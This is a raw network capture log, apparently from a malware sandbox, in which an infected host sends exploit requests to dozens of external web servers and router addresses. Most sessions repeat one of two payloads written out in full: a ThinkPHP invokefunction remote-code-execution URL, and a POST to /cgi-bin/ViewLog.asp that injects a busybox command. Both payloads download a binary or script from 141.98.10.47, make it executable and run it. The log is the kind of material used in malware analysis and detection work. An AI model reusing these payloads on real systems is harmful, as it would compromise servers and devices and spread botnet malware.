Dec 26, 2023 21:24:19.733031034 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:20.067720890 CET	24	IN	HTTP/1.1 404 Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port
293	192.168.2.23	45440	88.208.9.202	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:15.663662910 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:15.819515944 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.20.2 Date: Tue, 26 Dec 2023 20:24:15 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.20.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
294	192.168.2.23	50126	88.99.67.218	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:15.758435011 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:16.007261038 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.16.1 Date: Tue, 26 Dec 2023 20:24:15 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
295	192.168.2.23	49806	88.218.104.54	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:15.815687895 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:15.966042042 CET	430	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:24:15 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
296	192.168.2.23	47112	112.162.127.130	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:15.832066059 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
297	192.168.2.23	39720	88.221.101.9	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:16.464473009 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:16.963184118 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:24:16 GMT Date: Tue, 26 Dec 2023 20:24:16 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 36 35 65 38 63 34 66 26 23 34 36 3b 31 37 30 33 36 32 32 32 35 36 26 23 34 36 3b 32 33 38 62 39 38 35 62 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.465e8c4f.1703622256.238b985b</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
298	192.168.2.23	37198	62.232.138.2	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:16.834717989 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:17.068931103 CET	659	IN	HTTP/1.0 404 Not Found !!! Pragma: no-cache Content-type: text/html <html> <head> <title>404 Not Found !!!</title> </head><body><div align="center"><center><table border="1" cellspacing="0" width="100%"> <tr> <td width="100%" bgcolor="#0000A0"> <p align="center"><font color="#FFFFFF" face="Arial"> <strong>404 Not Found !!!</strong></font></td> </tr> <tr> <td width="100%" bgcolor="#F3F3F3" bordercolor="#000080" bordercolordark="#000080"> <p align="center"><font face="Times New Romain" color="#000000"> <strong>The requested URL was not found on this server.</strong></font></td> </tr></table></body></html> Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
299	192.168.2.23	47910	85.214.44.154	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:16.858556032 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:17.116075993 CET	498	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:24:16 GMT Server: Apache/2.4.57 (Debian) Content-Length: 304 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 37 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 39 32 2e 31 36 38 2e 30 2e 31 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.57 (Debian) Server at 192.168.0.14 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
300	192.168.2.23	33660	94.110.229.78	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:17.114325047 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
301	192.168.2.23	35904	95.168.228.75	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:17.241393089 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:17.511760950 CET	140	IN	HTTP/1.1 403 Forbidden Content-Type: text/html;charset=UTF-8 Content-Length: 0 Connection: close Cache-control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
302	192.168.2.23	57694	94.123.247.154	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:17.257646084 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
303	192.168.2.23	35910	95.168.228.75	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:17.781486034 CET	140	IN	HTTP/1.1 403 Forbidden Content-Type: text/html;charset=UTF-8 Content-Length: 0 Connection: close Cache-control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
304	192.168.2.23	41672	94.24.37.43	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:17.856112957 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
305	192.168.2.23	60448	94.121.196.251	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:17.910803080 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
306	192.168.2.23	59182	94.123.157.133	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:18.133589029 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
307	192.168.2.23	50264	88.212.192.61	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:19.048089027 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:19.879570007 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:20.167757988 CET	468	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:24:20 GMT Server: Apache/2.4.6 (Red Hat Enterprise Linux) OpenSSL/1.0.2k-fips PHP/5.4.16 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
308	192.168.2.23	33994	88.221.29.29	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:19.089225054 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:19.397507906 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:24:19 GMT Date: Tue, 26 Dec 2023 20:24:19 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 33 34 35 65 38 63 34 66 26 23 34 36 3b 31 37 30 33 36 32 32 32 35 39 26 23 34 36 3b 32 32 36 30 62 30 31 36 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.345e8c4f.1703622259.2260b016</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
309	192.168.2.23	41020	95.59.32.130	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:19.430250883 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:19.776384115 CET	29	IN	HTTP/1.1 200 OK
Dec 26, 2023 21:24:19.776485920 CET	515	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 Data Ascii: Connection: closePragma: no-cacheCache-Control: no-cacheContent-Type: text/html; charset=utf-8<!DOCTYPE html PUBLIC "-//W3C//Dtd XHTML 1.0 Strict//EN" "http://www.w3.org/tr/xhtml1/Dtd/xhtml1-Transitional.dtd"><html xmlns="http://www

Session ID	Source IP	Source Port	Destination IP	Destination Port
310	192.168.2.23	46026	95.164.86.159	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:20.290738106 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:20.527776003 CET	339	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Dec 2023 20:24:20 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
311	192.168.2.23	54394	95.140.237.188	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:20.293464899 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:20.532681942 CET	404	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:24:20 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
312	192.168.2.23	39096	95.110.199.191	80

Timestamp	Bytes transferred	Direction	Data
